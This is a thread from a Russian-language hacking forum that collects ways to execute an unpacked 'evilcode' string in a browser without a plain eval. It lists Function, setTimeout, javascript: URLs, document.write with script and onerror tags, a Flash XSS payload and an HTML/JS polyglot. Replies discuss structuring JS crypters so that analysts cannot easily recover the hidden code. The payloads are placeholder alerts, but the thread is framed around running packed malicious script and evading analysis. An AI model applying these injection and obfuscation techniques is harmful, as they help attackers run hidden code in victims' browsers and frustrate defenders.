• XSS.stack #1 – первый литературный журнал от юзеров форума

Все альтернативы eval в JS

Aels

(L3) cache
Забанен
Регистрация
04.04.2012
Сообщения
281
Решения
1
Реакции
328
Пожалуйста, обратите внимание, что пользователь заблокирован
Это обобщенная заметка, попытка собрать все вместе.
Итак.
наш evilcode = 'alert(/damagelab/)';
Подразумевается, что это строка, собранная анпакером, и нам нужно ее исполнить в браузере.
Варианты следующие:
Код:
eval(evilcode)
Код:
setTimeout(evilcode,0)
Код:
clearInterval(setInterval(evilcode,0))
Код:
a=eval;a(evilcode)
Код:
location.href='javascript:'+evilcode
*ограничение - максимальная длинна url.

Код:
document.write('<script>'+evilcode+'</script>')
Код:
document.write('<img src=x onerror="'+evilcode+'">')
Код:
[evilcode].map(eval)
*не работает в ие<9

Код:
[]["filter"]["constructor"](evilcode)()
*не работает в ие<9

Код:
Function(evilcode)()
- сокращенный вариант примера от neko.

Инжект флешем:
html:
Код:
<embed src="evil.swf" type="application/flash" />
код флешки:
Код:
class XSS {public static function main() { 
flash.Lib.getURL(new flash.net.URLRequest(flash.Lib._root.url||"javascript:alert(/damagelab/)"),flash.Lib._root.name||"_top"); 
}}
*пример, в общем-то, сперт от сюда: http://html5sec.org/#79
В хроме он не работает, т.к. флешь там особенный, и ему это запрещено.

И на последок, html-js-перевертыш от меня.
Код:
/*<script src="#"></script><!-- */
/* now write any js below */
alert(/works fine/);
/* -->
<h1>normal html goes here</h1>
<!--*/
В данном случае, весь js содержится за пределами <script>-тега, в html-комментарии. В src скрипта мы подключаем эту же страницу, и пытаемся распарсить ее как js. А по-скольку весь html закрыт комментариями, нам это успешно удается. Такая вот полезная мелочь.

дополнения, конечно же, приветствуются.
 
Код:
document.write('<img src=x onerror="'+evilcode+'">')
я так понимаю любой из евентов любого тега подойдет для выполнения кода ? типа body onload ...

не в тему, но я считаю что использования eval в js крипторах не допустимо, т.к. легко можно получить конечный код в первозданном его виде, лучше уж если надо спрятать alert('str');, то сделать это примерно так

Код:
var v_window = window;
var v_str = decrypt();
var v_alert = decrypt();
v_windov[v_alert](v_str);
 
Пожалуйста, обратите внимание, что пользователь заблокирован
el-
я так понимаю любой из евентов любого тега подойдет для выполнения кода ? типа body onload ...
подойдет любой, но вот с body.onload, или window.onload я бы не связывался, потому что onLoad случается не 1 раз, а каждый раз когда мы подгружаемые элементы добавляем в dom.
Загрузили документ - onLoad, распаковали js, создали ифрейм, он загрузился - снова onLoad стартует, и так в цикл свалимся - создали ифрейм - onload - еще 1 ифрейм, и т.д.

Что касается наличия eval-а...
У нас в 99% случаев результат декрипта - строка, или их набор (если мы рассматриваем упаковку-распаковку заранее неизвестного, произвольного кода)
И хочешь-не-хочешь, а выполнять их как-то надо.
Другое дело, что никто не велит закрывать всё единым eval-блоком. Запросто можно сделать сотню подряд идущих eval-ов, каждый из которых работает с результатом работы предыдущего.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
еще 2 варианта. Стянул отсюда: http://coding.smashingmagazine.com/2011/05...out-javascript/

Код:
eval.call(this, evilcode);
Код:
eval.apply(this, [evilcode,'alert(/еще код/)']);
Методы call и apply первым аргументом принимают объект, в контексте которого будет вызвана функция. Мы передаем this, чтобы вызвать в текущем контексте, без заморочек.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
scanislav
если не трудно, не надо телать из темы поток чего-то.
Даешь кодес - оформляй, если не трудно, оберни бб-кодом, укажи в каком браузере работает, если фича специфична.
Людям же читать потом.

спасибо.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх